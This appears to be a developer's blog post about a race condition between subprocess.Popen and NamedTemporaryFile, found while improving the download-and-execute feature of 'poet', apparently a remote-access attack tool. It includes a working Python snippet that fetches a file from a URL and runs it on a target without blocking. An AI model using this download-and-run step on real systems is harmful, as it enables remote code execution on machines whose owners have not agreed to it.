This post is about an interesting race condition bug I ran into when working on a small feature improvement for poet a while ago that I thought was worth writing a blog post about.
In particular, I was improving the download-and-execute capability of poet
which, if you couldn’t tell, downloads a file from the internet and executes
it on the target. At the original time of writing, I didn’t know about
the python tempfile module and since I recently learned about it, I wanted
to integrate it into poet as it would be a significant improvement to
the original implementation. The initial patch looked like this.
r = urllib2.urlopen(inp.split()[1])
with tempfile.NamedTemporaryFile() as f:
f.write(r.read())
os.fchmod(f.fileno(), stat.S_IRWXU)
f.flush() # ensure that file was actually written to disk
sp.Popen(f.name, stdout=open(os.devnull, 'w'), stderr=sp.STDOUT)
This code downloads a file from the internet, writes it to a tempfile on
disk, sets the permissions to executable, executes it in a subprocess.
In testing this code, I observed some puzzling behavior: the file was
never actually getting executed because it was suddenly ceasing to
exist! I noticed though that when I used
subprocess.call() or used .wait() on the Popen(), it would work
fine, however I intentionally didn’t want the client to block while the
file executed its arbitrary payload, so I couldn’t use those functions.
The fact that the execution would work when the Popen call waited for
the process and didn’t work otherwise suggests that there was something
going on between the time it took to execute the child and the time it took
for the with block to end and delete the file, which is tempfile‘s
default behavior. More specifically, the
file must have been deleted at some point before the exec syscall loaded
the file from disk into memory. Let’s take a look at the implementation of
subprocess.Popen() to see if we can gain some more insight:
def _execute_child(self, args, executable, preexec_fn, close_fds,
cwd, env, universal_newlines,
startupinfo, creationflags, shell, to_close,
p2cread, p2cwrite,
c2pread, c2pwrite,
errread, errwrite):
"""Execute program (POSIX version)"""
<snip>
try:
try:
<snip>
try:
self.pid = os.fork()
except:
if gc_was_enabled:
gc.enable()
raise
self._child_created = True
if self.pid == 0:
# Child
try:
# Close parent's pipe ends
if p2cwrite is not None:
os.close(p2cwrite)
if c2pread is not None:
os.close(c2pread)
if errread is not None:
os.close(errread)
os.close(errpipe_read)
# When duping fds, if there arises a situation
# where one of the fds is either 0, 1 or 2, it
# is possible that it is overwritten (#12607).
if c2pwrite == 0:
c2pwrite = os.dup(c2pwrite)
if errwrite == 0 or errwrite == 1:
errwrite = os.dup(errwrite)
# Dup fds for child
def _dup2(a, b):
# dup2() removes the CLOEXEC flag but
# we must do it ourselves if dup2()
# would be a no-op (issue #10806).
if a == b:
self._set_cloexec_flag(a, False)
elif a is not None:
os.dup2(a, b)
_dup2(p2cread, 0)
_dup2(c2pwrite, 1)
_dup2(errwrite, 2)
# Close pipe fds. Make sure we don't close the
# same fd more than once, or standard fds.
closed = { None }
for fd in [p2cread, c2pwrite, errwrite]:
if fd not in closed and fd > 2:
os.close(fd)
closed.add(fd)
if cwd is not None:
os.chdir(cwd)
if preexec_fn:
preexec_fn()
# Close all other fds, if asked for - after
# preexec_fn(), which may open FDs.
if close_fds:
self._close_fds(but=errpipe_write)
if env is None:
os.execvp(executable, args)
else:
os.execvpe(executable, args, env)
except:
exc_type, exc_value, tb = sys.exc_info()
# Save the traceback and attach it to the exception object
exc_lines = traceback.format_exception(exc_type,
exc_value,
tb)
exc_value.child_traceback = ''.join(exc_lines)
os.write(errpipe_write, pickle.dumps(exc_value))
# This exitcode won't be reported to applications, so it
# really doesn't matter what we return.
os._exit(255)
# Parent
if gc_was_enabled:
gc.enable()
finally:
# be sure the FD is closed no matter what
os.close(errpipe_write)
# Wait for exec to fail or succeed; possibly raising exception
# Exception limited to 1M
data = _eintr_retry_call(os.read, errpipe_read, 1048576)
<snip>
The _execute_child() function is called by the subprocess.Popen class
constructor and implements child process execution. There’s a lot of
code here, but key parts to notice here are the os.fork() call which
creates the child process, and the relative lengths of the following
if blocks. The check if self.pid == 0 contains the code for executing
the child process and is significantly more involved than the code
for handling the parent process.
From this, we can deduce that when the subprocess.Popen() call executes
in my code, after forking, while the child is preparing to call
os.execve, the parent simply returns, and immediately exits the with
block. This automatically invokes the f.close() function which deletes
the temp file. By the time the child calls os.execve, the file has been
deleted on disk. Oops.
I fixed this by adding the delete=False argument to the
NamedTemporaryFile constructor to suppress the auto-delete functionality.
Of course this means that the downloaded files will have to be cleaned up
manually, but this allows the client to not block when executing the file
and have the code still be pretty clean.
Main takeaway here: don’t try to Popen a NamedTemporaryFile as the
last statement in the tempfile’s with block.
